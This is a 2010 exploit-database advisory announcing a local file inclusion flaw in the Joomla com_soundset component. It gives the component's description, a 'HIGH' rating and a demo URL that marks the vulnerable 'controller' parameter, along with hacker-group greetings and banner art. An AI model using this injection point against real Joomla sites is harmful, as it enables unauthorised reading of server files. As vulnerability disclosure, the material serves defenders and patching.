Joomla Component com_soundset LFI Vulnerability

===============================================
Joomla Component com_soundset LFI Vulnerability
===============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla com_soundset LFI  Vulnerability
Date : july 10,2010
Critical Level     : HIGH
vendor URL :http://www.soundset.at/
Author : Sid3^effects aKa HaRi
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description
Soundset Tutorial is an interactive tutorial component for Joomla 1.5. Soundset Tutorial can be used to run a complex tutorial / How-To /

etc. directly inside your Joomla website. Each tutorial is represented by a project. A project is assigned to a certain category, whereas

unlimited nested categories are possible. A project consists of one ore more units. Units provide interactive contents and in detail

descriptions; i.e. a unit provides video streaming capabilities and up to 6 user-defined files for download. Furthermore this component

provides basic support for CB 1.2 (email sending, avatar, profile page), private messaging (UddeIM), project bookmarking, rating, and

commenting, as well as file browsing and file maintenance.
#######################################################################################################
Xploit: LFI Vulnerability

DEMO URL : http://test.soundset.at/index.php?option=com_soundset&controller=[LFI]
#######################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2018-01-03]  #